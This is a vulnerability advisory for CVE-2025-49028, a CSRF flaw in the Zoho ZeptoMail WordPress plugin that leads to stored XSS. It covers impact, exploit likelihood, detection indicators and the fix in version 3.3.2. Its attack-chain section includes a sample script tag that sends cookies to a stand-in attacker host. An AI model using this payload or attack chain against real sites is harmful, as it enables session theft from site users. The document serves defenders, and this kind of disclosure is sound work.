CVE-2025-49028: 
WordPress vulnerability analysis and mitigation

CVE-2025-49028 is a Cross-Site Request Forgery (CSRF) vulnerability in the Zoho ZeptoMail WordPress plugin (also known as "transmail") that enables Stored Cross-Site Scripting (XSS). It affects all versions of the plugin through 3.3.1 and was reported by researcher Nguyen Xuan Chien on June 16, 2025, with public disclosure on December 31, 2025. The vulnerability carries a CVSS v3.1 base score of 7.1 (High), assigned by Patchstack (Patchstack).

The root cause is insufficient CSRF token validation in the Zoho ZeptoMail WordPress plugin (CWE-352), which allows an unauthenticated attacker to craft a malicious request that, when executed by an authenticated privileged user (e.g., an administrator), stores a malicious script in the plugin's settings or data. This stored XSS payload then executes in the browser of any user who subsequently views the affected page, with the scope of impact extending beyond the originating request (CVSS scope: Changed). Exploitation requires no special privileges from the attacker but does require user interaction — specifically, a privileged WordPress user must be tricked into visiting a crafted page or clicking a malicious link (Patchstack).

Successful exploitation allows an attacker to inject persistent malicious JavaScript into the WordPress site, which executes in the context of any user visiting the affected page. This can lead to session token theft, credential harvesting, unauthorized administrative actions, and potential site defacement or further compromise. The CVSS assessment reflects low confidentiality, integrity, and availability impacts individually, but the changed scope indicates the XSS payload can affect users beyond the initial target (Patchstack, Red Hat CVE).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-49028. The EPSS score is approximately 0.014% (0.000140), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies it as low priority, noting it is unlikely to be exploited despite the theoretical potential for use in mass-exploit campaigns targeting WordPress plugins (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Zoho ZeptoMail (transmail) plugin version 3.3.1 or earlier, using tools like WPScan or by checking publicly accessible plugin metadata.
2. Craft malicious CSRF request: Create an HTML page or form that submits a forged POST request to the vulnerable plugin endpoint, embedding a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a plugin configuration field that lacks CSRF protection.
3. Deliver to privileged user: Trick a logged-in WordPress administrator into visiting the attacker-controlled page (e.g., via phishing email or malicious link), causing their browser to automatically submit the forged request with their authenticated session.
4. Stored XSS persists: The malicious script is saved in the plugin's settings or database, and executes in the browser of any user (including administrators) who subsequently loads the affected WordPress page.
5. Harvest credentials/session tokens: The injected script exfiltrates session cookies, credentials, or performs unauthorized actions on behalf of the victim user (Patchstack).

• Logs: WordPress access logs showing unexpected POST requests to plugin settings endpoints (e.g., /wp-admin/admin-post.php or plugin-specific admin pages) from unusual referrers or external origins.
• File System / Database: Unexpected JavaScript content (e.g., <script> tags, encoded payloads) stored in the WordPress database within plugin option rows associated with the ZeptoMail/transmail plugin (wp_options table entries for the plugin).
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading WordPress admin pages, potentially carrying cookie or session data in query parameters.
• Browser/Application: Unexpected redirects or pop-ups appearing for administrators when accessing plugin settings pages in the WordPress dashboard.

The vulnerability is patched in Zoho ZeptoMail plugin version 3.3.2. Site administrators should update the plugin to version 3.3.2 or later immediately via the WordPress plugin dashboard. If an immediate update is not possible, consider temporarily deactivating the plugin and contacting your hosting provider or web developer for assistance. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).